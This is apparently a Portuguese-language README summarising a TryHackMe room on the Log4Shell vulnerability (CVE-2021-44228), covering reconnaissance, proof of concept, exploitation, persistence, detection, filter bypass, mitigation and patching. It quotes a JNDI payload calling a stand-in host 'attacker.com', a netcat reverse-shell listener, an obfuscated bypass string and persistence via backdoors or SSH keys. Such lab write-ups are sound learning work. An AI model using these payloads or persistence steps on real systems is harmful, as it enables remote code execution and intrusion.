saru1718/thm---solar-exploiting-log-4jEsta sala é baseada na exploração da notória vulnerabilidade Log4j (CVE-2021-44228), também conhecida como Log4Shell. A fraqueza permite que atacantes executem código remoto através da injeção de payloads maliciosos nas mensagens de log.
Esta sala é baseada na exploração da notória vulnerabilidade Log4j (CVE-2021-44228), também conhecida como Log4Shell. A falha permite que atacantes executem código remoto através da injeção de payloads maliciosos nas mensagens de log.
TAREFA 1 – INTRODUÇÃO AO CVE-2021-44228
Nesta tarefa, aprendi sobre a vulnerabilidade Log4Shell (CVE-2021-44228) no Apache Log4j. • Log4j é uma biblioteca de logging Java amplamente utilizada. • A vulnerabilidade permite execução remota de código (RCE) via consultas JNDI. • Os atacantes podem injetar payloads como: ${jndi:ldap://attacker.com/a} • Quando registrado, o servidor contacta o servidor controlado pelo atacante e executa código malicioso. 👉 Isso mostrou como registrar entrada do usuário sem sanitização pode ser perigoso.
TAREFA 2 – RECONHECIMENTO
Aqui, comecei a interagir com o sistema alvo. • Acessei a aplicação web. • Identifiquei campos de entrada e cabeçalhos que poderiam ser registrados. • Observei como a aplicação processa a entrada do usuário. 👉 Objetivo: Encontrar onde o Log4j é usado e onde payloads podem ser injetados.
TAREFA 3 – DESCOBERTA
Neste passo, confirmei a vulnerabilidade. • Testei injeção de payloads em cabeçalhos como: • User-Agent • X-Forwarded-For • Verifiquei conexões ou respostas de saída. 👉 Isso ajudou a confirmar que a aplicação é vulnerável ao Log4Shell.
TAREFA 4 – PROVA DE CONCEITO
Criei um PoC funcional para demonstrar a vulnerabilidade. • Configurei um listener/servidor para detectar callbacks. • Injetei um payload JNDI. • Observei que o alvo fez uma requisição ao meu servidor. 👉 Isso confirmou interação remota → a vulnerabilidade é explorável.
TAREFA 5 – EXPLORAÇÃO
Aqui, evolui do PoC para a exploração completa. • Hospedei um payload malicioso (classe Java ou script). • Usei injeção JNDI para forçar o servidor a carregá-lo. • Obtive uma reverse shell. Exemplo: nc -lvnp 4444 👉 Consegui execução remota de código com sucesso.
TAREFA 6 – PERSISTÊNCIA
Após obter acesso, garanti acesso contínuo. • Criei backdoors ou adicionei chaves SSH. • Modifiquei configurações do sistema se necessário. 👉 Isso garante acesso mesmo após reinicialização ou perda de sessão.
TAREFA 7 – DETECÇÃO
Esta tarefa focou em identificar ataques. • Aprendi como explorações do Log4j aparecem em logs. • Indicadores: • Padrões ${jndi:ldap://...} • Tráfego LDAP/DNS suspeito de saída 👉 Importante para que times azuis detectem tentativas de exploração.
TAREFA 8 – CONTORNOS
Aqui, explorei como atacantes contornam filtros. • Técnicas de ofuscação: ${${lower:j}${lower:n}${lower:d}${lower:i}:...} • Codificação de payloads para evadir detecção. 👉 Mostra que filtragem simples não é suficiente.
TAREFA 9 – MITIGAÇÃO
Aprendi como reduzir o risco sem aplicar patches completos. • Desabilitar consultas JNDI • Restringir conexões de rede de saída • Usar regras de WAF 👉 Defesas temporárias antes do patching adequado.
TAREFA 10 – PATCHING
Focado em correções permanentes. • Atualizar o Log4j para: • 2.17.0 ou posterior • Remover classes vulneráveis: JndiLookup.class 👉 O patching adequado elimina completamente a vulnerabilidade.
TAREFA 11 – CRÉDITOS E NOTAS DO AUTOR
• Agradecimento aos criadores da sala. • Resumo dos objetivos de aprendizado. • Considerações finais sobre o impacto do Log4Shell.
PENSAMENTOS FINAIS
Esta sala me deu uma compreensão completa de: • Como funciona uma vulnerabilidade crítica do mundo real • Como atacantes a exploram passo a passo • Como defensores a detectam e previnem 👉 Foi uma excelente experiência prática com uma das vulnerabilidades mais impactantes da história da cibersegurança.
